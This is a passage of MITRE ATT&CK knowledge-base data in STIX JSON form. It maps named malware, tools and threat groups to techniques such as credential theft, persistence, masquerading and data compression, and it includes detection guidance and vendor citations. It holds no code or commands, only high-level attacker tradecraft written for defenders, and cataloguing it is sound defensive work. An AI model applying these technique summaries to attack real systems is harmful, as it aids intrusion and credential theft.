Hours to Ransom. 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Retrieved November 13, 2018."}], "modified": "2019-04-17T22:05:05.951Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a shortcut to maintain persistence.(Citation: Talos Micropsia June 2017)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5842b656-f3d7-43f6-a6c5-7bdf238182a3", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for newly executed processes that may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Hybrid Analysis Icacls1 June 2018", "description": "Hybrid Analysis. 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(2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", "source_name": "Kaspersky Carbanak"}], "modified": "2019-03-22T19:59:27.004Z", "description": "[Carbanak](https://attack.mitre.org/groups/G0008) actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.(Citation: Kaspersky Carbanak)", "relationship_type": "uses", "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--588865e4-caec-4150-9c03-df5e28eb9c79", "type": "relationship", "created": "2019-01-30T19:18:20.167Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "source_name": "TrendMicro MacOS April 2018"}, {"source_name": "Trend Micro MacOS Backdoor November 2020", "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."}, {"source_name": "20 macOS Common Tools and Techniques", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}], "modified": "2021-10-11T21:57:19.560Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version. [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used the <code>ioreg</code> command to gather some of this information.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)(Citation: 20 macOS Common Tools and Techniques)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5893fbd3-f3c0-4332-b2e3-e6a07142ef9d", "type": "relationship", "created": "2021-09-21T15:16:40.893Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-07T16:28:04.532Z", "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has dropped legitimate software onto a compromised host and used it to execute malicious DLLs.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--58996a9f-ab17-4942-9afd-bb336af9a15b", "created": "2022-03-15T20:02:43.799Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a proprietary tool to intercept one time passwords required for two-factor authentication.(Citation: KISA Operation Muzabi)", "modified": "2022-04-12T18:26:56.015Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--58a1976b-122d-41df-ae40-b66826ad8f4f", "type": "relationship", "created": "2021-04-20T12:38:47.958Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}], "modified": "2021-04-20T12:38:47.958Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to delete files after they are deployed on a compromised host.(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--58a574e4-ba44-4472-92fe-c50a9a9cbb49", "type": "relationship", "created": "2020-12-14T20:22:53.391Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Tetra Defense Sodinokibi March 2020", "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", "description": "Tetra Defense. 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(2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", "url": "https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:24:22.261Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used <code>letmein</code> to scan for saved usernames on the target system.(Citation: TrendMicro TropicTrooper 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--58af622a-fa2a-40ec-9439-d0caa766e796", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Monitor for changes made to firmware. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", "source_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", "target_ref": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MITRE Trustworthy Firmware Measurement", "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"}, {"source_name": "MITRE Copernicus", "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"}, {"source_name": "McAfee CHIPSEC Blog", "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"}, {"source_name": "Github CHIPSEC", "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", "url": "https://github.com/chipsec/chipsec"}, {"source_name": "Intel HackingTeam UEFI Rootkit", "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.", "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--58b1c6e7-5481-4162-a90c-0b7122c3680d", "type": "relationship", "created": "2022-02-02T21:30:09.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Threatpost Lizar May 2021", "url": "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/", "description": "Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}, {"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "modified": "2022-02-07T16:07:50.157Z", "description": "[Lizar](https://attack.mitre.org/software/S0681) can run [Mimikatz](https://attack.mitre.org/software/S0002) to harvest credentials.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021) ", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--58b7b9bf-d09b-49f4-acf5-351979171317", "created": "2019-03-11T19:24:08.180Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Github PowerShell Empire", "url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016."}, {"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.(Citation: Github PowerShell Empire)(Citation: SecureWorks August 2019)", "modified": "2022-09-01T16:16:34.935Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--58be00f9-baaf-40d7-973f-3f38bc7322b9", "created": "2023-02-13T20:05:27.593Z", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-13T20:05:27.593Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) can enumerate all processes and locate specific process IDs (PIDs).(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--58c28a92-b3ed-41de-841d-8b8d1ad142be", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. 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(2021, November 29). CONTInuing the Bazar Ransomware Story. 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Retrieved August 4, 2020."}, {"source_name": "McAfee Sodinokibi October 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."}, {"source_name": "Intel 471 REvil March 2020", "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}, {"source_name": "Group IB Ransomware May 2020", "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html", "description": "Group IB. (2020, May). Ransomware Uncovered: Attackers\u2019 Latest Methods. Retrieved August 5, 2020."}, {"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. 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Retrieved April 17, 2019.", "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", "source_name": "Symantec Chafer Dec 2015"}], "modified": "2020-05-22T20:27:31.510Z", "description": "[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to compress stolen data into a .cab file.(Citation: Symantec Chafer Dec 2015)", "relationship_type": "uses", "source_ref": "malware--a705b085-1eae-455e-8f4d-842483d814eb", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--59b39f06-a71c-42f7-92f2-244a183113d6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. 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Retrieved December 20, 2017.", "source_name": "Cobalt Strike TTPs Dec 2017"}], "modified": "2020-11-06T18:40:37.995Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can install a new service.(Citation: Cobalt Strike TTPs Dec 2017)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--59cb7691-e0a0-4e34-94ae-63d3e22f21c1", "type": "relationship", "created": "2021-02-18T18:57:50.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). 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Retrieved September 22, 2021."}], "modified": "2021-10-11T17:43:50.365Z", "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has named malicious files <code>update.exe</code> and loaded them into the compromise host's \u201cPublic\u201d folder.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--59d4e54d-66b8-4603-b189-ba67160da44d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto DNS Requests", "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}], "modified": "2020-03-17T02:10:14.677Z", "description": "[Pisloader](https://attack.mitre.org/software/S0124) uses DNS as its C2 protocol.(Citation: Palo Alto DNS Requests)", "relationship_type": "uses", "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--59de6826-2503-422d-9e53-b3c0a43738dd", "created": "2022-09-07T13:56:28.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Frankenstein June 2019", "description": "Adamitis, D. et al. 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(2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}], "modified": "2019-04-24T23:59:16.363Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) contains base64-encoded strings.(Citation: Palo Alto Shamoon Nov 2016)", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--59e05166-d274-4cf3-b9f1-f5e17755eb0e", "created": "2022-03-30T14:26:51.876Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. 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Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", "modified": "2022-04-20T02:46:10.521Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--59e0f91a-278b-49f9-8f8d-93b2b9914fad", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:22:24.383Z", "description": "Monitor executed commands and arguments for actions that could be taken to gather tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--59e2e811-8f23-40bc-ae20-040feb1fa1fe", "created": "2022-10-04T21:20:27.622Z", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.", "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-04T21:20:27.622Z", "description": "[SUGARDUMP](https://attack.mitre.org/software/S1042) has been named `CrashReporter.exe` to appear as a legitimate Mozilla executable.(Citation: Mandiant UNC3890 Aug 2022)", "relationship_type": "uses", "source_ref": "malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--59e64b14-27eb-46aa-ae75-863602253e77", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--59e682dd-3a1f-48ab-8e1f-3fb967676931", "type": "relationship", "created": "2020-11-08T23:25:25.626Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-08T23:25:25.626Z", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to steal data from the Chrome, Edge, Firefox, Thunderbird, and Opera browsers.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--59ef906c-f395-427a-9cd5-30887a983516", "type": "relationship", "created": "2021-03-19T21:04:01.248Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 TA551 Jan 2021", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}], "modified": "2021-03-25T15:34:04.391Z", "description": "[TA551](https://attack.mitre.org/groups/G0127) has hidden encoded data for malware DLLs in a PNG.(Citation: Unit 42 TA551 Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--59f009e1-8175-439e-9fb1-6c37ae392307", "created": "2024-02-12T21:10:15.205Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-02T21:44:47.995Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) uses NirSoft tools to steal user credentials from the infected machine.(Citation: Ensilo Darkgate 2018) NirSoft tools are executed via process hollowing in a newly-created instance of vbc.exe or regasm.exe.", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--59f80c0d-e8d7-48f6-960a-3d4b593f8b33", "created": "2020-10-19T04:17:45.388Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-04T12:58:39.324Z", "description": "Users can be trained to identify social engineering techniques and spearphishing attempts. Additionally, users may perform visual checks of the domains they visit; however, homographs in 